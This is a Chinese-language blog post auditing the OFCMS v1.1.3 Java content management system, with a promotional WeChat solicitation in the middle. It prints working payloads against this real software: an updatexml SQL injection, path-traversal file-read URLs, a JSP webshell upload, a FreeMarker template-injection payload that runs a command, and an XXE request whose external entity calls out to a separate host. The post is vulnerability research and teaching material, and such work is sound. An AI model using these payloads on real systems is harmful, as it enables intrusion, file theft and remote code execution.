某內容管理系統最最最詳細的程式碼審計
前言
剛好遇到一個授權的滲透是通過該cms實現getshell,所以順便審計一下java類的cms,這個管理系統是一個內容管理系統,下載地址
https://gitee.com/oufu/ofcms/tree/V1.1.3/
tomcat下載地址
https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.78/bin/apache-tomcat-8.5.78-windows-x64.zip
這裡我選擇8.5.78
環境搭建
idea
ofcms V1.1.3
tomcat 8.5
idea直接建立新建專案,自動匯入xml檔案,配置啟動伺服器
匯入sql檔案
mysql -uroot -pxxxxxxx
use ofcms
source /路徑.ofcms-v1.1.3.sql
show tables;
這裡需要注意一點兒,原始碼確實,無法打包war'包,解決不掉artifacts的問題
配置埠
啟動tomgcat的時候會亂碼,修改tomcat的配置檔案tomcat->config->logging.properties
更改所有utf8
的格式為GBK
配置maven,整一個噁心的想吐
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
</mirror>
重建專案
啟動服務,但是之前需要修改配置檔案中的資料庫的連線的欄位使用者名稱和密碼,這裡會報錯,所以修改配置檔案直接建立完成了資料庫在上面匯入資料庫的時候跳過安裝步驟。
首頁地址: localhost:8099/ofcms_admin
後臺地址:localhost:8099/ofcms_admin/admin/login.html
admin/123456
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “部落格園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
審計分析
SQL注入
檔案結構目錄
因為已知漏洞都存在於後臺,直接審計後臺檔案,首先定位到控制層程式碼,
因為已經不通通過安裝啟動web服務,這裡不需要分析安裝控制層,看首頁
出於對程式碼的尊重,跟了一波增加sql語句的處理,但是存在sql注入的過濾器,
直接觸發增加使用者介面
其實可以直接看出來,在第50行的時候已經使用put方法增加了管理員使用者,然後new了一個物件record
存放存入的其它引數的資料,再往下的時候根據record
的值判斷使用者的型別,向下56行F7跟進,一直跟到類sqlpara的setsql方法進行插入
在這裡的時候插入的是建立時的建立時間等欄位,並沒插入我們傳入的詳細資訊,但是在類sysusercontroller
中的57行中十對建立的使用者sss
建立id編號,此時使用者以及資料的插入時在58行執行結束時完成,已經寫進了資料庫。
但是這裡沒有測試存在注入點兒
,注入點存在於程式碼生成
->新增
手動測試有回顯sql=1'
猜測可能存在報錯注入,構造payload
update of_cms_api set api_name=updatexml(1,concat(0x7e,(user())),0) where api_id=2
\ofsoft\cms\admin\controller\system\SystemGenerateController.java
下斷點分析
47行,F7跟進
返回的sql引數的內容未作任何過濾,48行F7跟進
98行跟進update方法
256行直接連線資料庫進行更新,最後丟擲異常,報錯回顯出資料庫使用者名稱root
儲存型XSS
分析程式碼,
所以這裡出現儲存型XSS的地方不止這一個觸點兒,包括前臺,Ueditor編輯器的原因。
任意檔案讀取
檢視檔案模板,模板檔案連線如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=/&dir_name=/
可控引數dir
,payload如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=../../../&dir_name=/
控制欄位file_name
讀取檔案
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=jquery-1.10.1.min.js&dir=../../..//resource/default/static/lib&dir_name=/lib
漏洞分析
檢視模板檔案的時候,傳入的dir引數以及updir的引數都為空
這裡是對路徑檔案型別做判斷,讀取模板檔案,所這裡任意檔案讀取也只是針對任意模板檔案讀取,讀取檔名的控制引數數為filename
根據debug分析,當傳入的payload為
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?dir=../
測試根據斷點看出,我們傳入的引數dir為../
在65行的時候未對傳入的引數dir做過濾,這個時候已經拿到了模板目錄
讀取通過迴圈遍歷使用檔名讀取
在除錯的時候發現,我們訪問目錄。這裡訪問comn
在控制層TemplateController內呼叫函式getSiteTemplatePath()
F7跟進,在類file.java中對路徑進行了直接拼接
所以只要呼叫file函式拼接的引數也必定會產生"任意"檔案讀取。那麼所能使用的payload如下
?dir=../
?up_dir=../
#含檔名
?file_name=page.html&up_dir=../comn
?file_name=page.html&dir=../comn
檔案上傳實現webshell
剛好該類這裡又save方法呼叫了上面的函式,所以我們可以保證我們上傳檔案的路徑是可控的
嘗試構造資料包
此時已經成功儲存,但是通過檔案讀取是讀不到檔案的,實際上已經寫進去了,因為在讀取檔案的時候限制了讀取的檔案型別,可以嘗試儲存一個html
驗證是可以寫入的,那麼直接寫入jsp木馬實現webshell
最後一個斷點執行結束,此時shell已成功寫入
http://localhost:8099/ofcms_admin/static/1.jsp
SSTI模板注入
同樣在save模板的時候我們分析,在125行的時候傳入file檔案以及檔案內容
f7跟進函式,發現在類fileutils中的,writestring方法中在78行的時候拿到的string還是我們在前端輸入的內容
繼續F7跟進函式
這裡直接對string進行了編碼
payload
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
訪問
所以這裡漏洞的觸發點也很多,html頁面都可以,當然也可以利用上面的檔案上傳進行寫入頁面呼叫也可以觸發。漏洞的觸發原理可參考這個文章
http://t.zoukankan.com/Eleven-Liu-p-12747908.html
很清晰
XXE漏洞
直接分析漏洞程式碼下斷點
ofcms-V1.1.3\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\ReprotAction.java
前端功能模組匯出
定位到控制器處理方法,在 com.ofsoft.cms.admin.controller.ReprotAction
類的 expReport 方法中。
使用上文的任意檔案讀取,在靜態頁面下放入我們寫入的jrxml檔案,檔案命名為xxe.jrxml
,構造payload
POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: localhost:8099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 394
Origin: http://localhost:8099
Connection: close
Referer: http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=FCF2920F5C1C3ECAC592420888B66674; Phpstorm-63ee32fd=c3d51684-64a8-4398-bce8-86b8077fb103; XDEBUG_SESSION=XDEBUG_ECLIPSE
file_path=G%3A%5Cofcms113%5Capache-tomcat-8.5.78%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=index.html&file_content=%3c%21%44%4f%43%54%59%50%45%20%70%6f%65%6d%20%5b%3c%21%45%4e%54%49%54%59%20%25%20%78%78%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%36%36%2e%31%32%38%3a%38%30%38%31%22%3e%25%78%78%65%3b%20%5d%3e
檔案內容的payload
<!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://192.168.166.128:8081">%xxe; ]>
直接訪問
http://localhost:8099/ofcms_admin/admin/reprot/expReport.html?%20j=../../static/xxe
漏洞成因是呼叫了 getParamsMap 方法,獲取使用者提交的所有引數,並將 j 引數賦值給 jrxmlFileName ,伺服器接收使用者輸入的 j 引數後,拼接生成檔案路徑,可直接穿越其它目錄,但是限制了檔案字尾為 jrxml,所以檔名命名為jrxml
先呼叫getParamsMap 方法
而後呼叫JasperCompileManager.compileReport() 方法
F7跟進,在 compile方法中呼叫 JRXmlLoader.load() 方法,F7跟進,在 loadXML 方法中呼叫了 Digester 類的 parse 解析我們的 XML 文件物件,預設是沒有禁用外部實體解析,所以xxe檔案能執行。
總結
拋開白盒審計不說,sql注入實現比較簡單,黑盒狀態下也可知道使用者名稱實現,跨站類可以通過js類的實現對使用者的上線,高危的檔案讀取和webshell以及xxe,總的來說都是在檔案讀取目錄遍歷的基礎上實現的,否則對於二次開發的網站拋開任意檔案讀取這個漏洞來說是無法實現webshell的。
更多靶場實驗練習、網安學習資料,請點選這裡>>
搜尋
複製